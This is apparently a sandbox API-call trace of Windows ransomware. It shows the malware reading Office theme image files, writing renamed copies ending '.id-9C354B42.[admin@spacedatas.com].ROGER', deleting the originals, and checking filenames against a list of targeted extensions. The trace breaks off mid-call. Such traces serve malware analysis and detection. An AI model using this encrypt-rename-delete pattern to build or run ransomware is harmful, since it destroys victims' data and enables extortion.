[0047.820] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.820] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0047.820] SetEndOfFile (hFile=0x370) returned 1 [0047.820] CloseHandle (hObject=0x370) returned 1 [0047.820] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.820] SetEndOfFile (hFile=0x3a0) returned 1 [0047.822] CloseHandle (hObject=0x3a0) returned 1 [0047.822] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.822] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0047.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.824] lstrlenW (lpString=".doc") returned 4 [0047.824] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.824] lstrlenW (lpString=".docx") returned 5 [0047.825] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.825] lstrlenW (lpString=".pdf") returned 4 [0047.825] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.825] lstrlenW (lpString=".xls") returned 4 [0047.825] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.825] lstrlenW (lpString=".xlsx") returned 5 [0047.825] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.825] lstrlenW (lpString=".ppt") returned 4 [0047.825] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.825] lstrlenW (lpString=".zip") returned 4 [0047.825] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.825] lstrlenW (lpString=".rar") returned 4 [0047.825] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.825] lstrlenW (lpString=".bz2") returned 4 [0047.825] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.825] lstrlenW (lpString=".7z") returned 3 [0047.825] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.825] lstrlenW (lpString=".dbf") returned 4 [0047.825] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.825] lstrlenW (lpString=".1cd") returned 4 [0047.825] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.825] lstrlenW (lpString=".jpg") returned 4 [0047.825] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.825] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.826] lstrlenW (lpString=".doc") returned 4 [0047.826] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0047.826] lstrlenW (lpString=".docx") returned 5 [0047.826] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0047.826] lstrlenW (lpString=".pdf") returned 4 [0047.826] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0047.826] lstrlenW (lpString=".xls") returned 4 [0047.826] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0047.826] lstrlenW (lpString=".xlsx") returned 5 [0047.826] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0047.826] lstrlenW (lpString=".ppt") returned 4 [0047.826] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0047.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.826] lstrlenW (lpString=".zip") returned 4 [0047.826] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0047.826] lstrlenW (lpString=".rar") returned 4 [0047.826] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0047.826] lstrlenW (lpString=".bz2") returned 4 [0047.826] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0047.826] lstrlenW (lpString=".7z") returned 3 [0047.826] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0047.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.826] lstrlenW (lpString=".dbf") returned 4 [0047.826] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0047.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.826] lstrlenW (lpString=".1cd") returned 4 [0047.826] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0047.826] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG") returned 77 [0047.826] lstrlenW (lpString=".jpg") returned 4 [0047.826] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0047.827] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.827] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.827] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0048.008] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=2044) returned 1 [0048.008] CloseHandle (hObject=0x3d8) returned 1 [0048.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0048.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0048.009] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.009] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.009] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.009] GetLastError () returned 0x0 [0048.009] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x7fc, lpOverlapped=0x0) returned 1 [0048.012] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x800, lpOverlapped=0x0) returned 1 [0048.013] ReadFile (in: hFile=0x3d8, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.013] WriteFile (in: hFile=0x370, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.013] SetEndOfFile (hFile=0x370) returned 1 [0048.013] CloseHandle (hObject=0x370) returned 1 [0048.014] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.014] SetEndOfFile (hFile=0x3d8) returned 1 [0048.014] CloseHandle (hObject=0x3d8) returned 1 [0048.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.015] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0048.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.015] lstrlenW (lpString=".doc") returned 4 [0048.015] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.015] lstrlenW (lpString=".docx") returned 5 [0048.015] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.015] lstrlenW (lpString=".pdf") returned 4 [0048.015] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.015] lstrlenW (lpString=".xls") returned 4 [0048.015] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.015] lstrlenW (lpString=".xlsx") returned 5 [0048.015] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.015] lstrlenW (lpString=".ppt") returned 4 [0048.015] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.015] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.015] lstrlenW (lpString=".zip") returned 4 [0048.015] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.015] lstrlenW (lpString=".rar") returned 4 [0048.015] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.016] lstrlenW (lpString=".bz2") returned 4 [0048.016] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.016] lstrlenW (lpString=".7z") returned 3 [0048.016] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.016] lstrlenW (lpString=".dbf") returned 4 [0048.016] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.016] lstrlenW (lpString=".1cd") returned 4 [0048.016] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.016] lstrlenW (lpString=".jpg") returned 4 [0048.016] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.016] lstrlenW (lpString=".doc") returned 4 [0048.016] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.016] lstrlenW (lpString=".docx") returned 5 [0048.016] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.016] lstrlenW (lpString=".pdf") returned 4 [0048.016] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.016] lstrlenW (lpString=".xls") returned 4 [0048.016] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.016] lstrlenW (lpString=".xlsx") returned 5 [0048.016] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.016] lstrlenW (lpString=".ppt") returned 4 [0048.016] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.016] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.016] lstrlenW (lpString=".zip") returned 4 [0048.016] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.016] lstrlenW (lpString=".rar") returned 4 [0048.016] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.017] lstrlenW (lpString=".bz2") returned 4 [0048.017] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.017] lstrlenW (lpString=".7z") returned 3 [0048.017] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.017] lstrlenW (lpString=".dbf") returned 4 [0048.017] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.017] lstrlenW (lpString=".1cd") returned 4 [0048.017] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF") returned 76 [0048.017] lstrlenW (lpString=".jpg") returned 4 [0048.017] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.017] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.017] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.025] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=28595) returned 1 [0048.025] CloseHandle (hObject=0x3a0) returned 1 [0048.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 [0048.025] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.025] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0048.025] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.025] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0048.026] GetLastError () returned 0x0 [0048.026] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x6fb3, lpOverlapped=0x0) returned 1 [0048.028] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x6fc0, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x6fc0, lpOverlapped=0x0) returned 1 [0048.029] ReadFile (in: hFile=0x3a0, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.029] WriteFile (in: hFile=0x3d8, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.030] SetEndOfFile (hFile=0x3d8) returned 1 [0048.030] CloseHandle (hObject=0x3d8) returned 1 [0048.030] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.030] SetEndOfFile (hFile=0x3a0) returned 1 [0048.031] CloseHandle (hObject=0x3a0) returned 1 [0048.031] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.031] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 1 [0048.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.031] lstrlenW (lpString=".doc") returned 4 [0048.031] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.031] lstrlenW (lpString=".docx") returned 5 [0048.031] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.031] lstrlenW (lpString=".pdf") returned 4 [0048.031] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.031] lstrlenW (lpString=".xls") returned 4 [0048.031] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.031] lstrlenW (lpString=".xlsx") returned 5 [0048.031] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.032] lstrlenW (lpString=".ppt") returned 4 [0048.032] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.032] lstrlenW (lpString=".zip") returned 4 [0048.032] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.032] lstrlenW (lpString=".rar") returned 4 [0048.032] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.032] lstrlenW (lpString=".bz2") returned 4 [0048.032] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.032] lstrlenW (lpString=".7z") returned 3 [0048.032] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.032] lstrlenW (lpString=".dbf") returned 4 [0048.032] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.032] lstrlenW (lpString=".1cd") returned 4 [0048.032] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.032] lstrlenW (lpString=".jpg") returned 4 [0048.032] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.032] lstrlenW (lpString=".doc") returned 4 [0048.032] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.032] lstrlenW (lpString=".docx") returned 5 [0048.032] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.032] lstrlenW (lpString=".pdf") returned 4 [0048.032] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.032] lstrlenW (lpString=".xls") returned 4 [0048.032] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.032] lstrlenW (lpString=".xlsx") returned 5 [0048.032] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.033] lstrlenW (lpString=".ppt") returned 4 [0048.033] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.033] lstrlenW (lpString=".zip") returned 4 [0048.033] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.033] lstrlenW (lpString=".rar") returned 4 [0048.033] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.033] lstrlenW (lpString=".bz2") returned 4 [0048.033] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.033] lstrlenW (lpString=".7z") returned 3 [0048.033] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.033] lstrlenW (lpString=".dbf") returned 4 [0048.033] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.033] lstrlenW (lpString=".1cd") returned 4 [0048.033] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG") returned 77 [0048.033] lstrlenW (lpString=".jpg") returned 4 [0048.033] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.033] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.033] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.033] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.170] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=33277) returned 1 [0048.170] CloseHandle (hObject=0x358) returned 1 [0048.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png")) returned 0x20 [0048.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.170] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.170] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0048.170] GetLastError () returned 0x0 [0048.170] ReadFile (in: hFile=0x358, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x81fd, lpOverlapped=0x0) returned 1 [0048.172] WriteFile 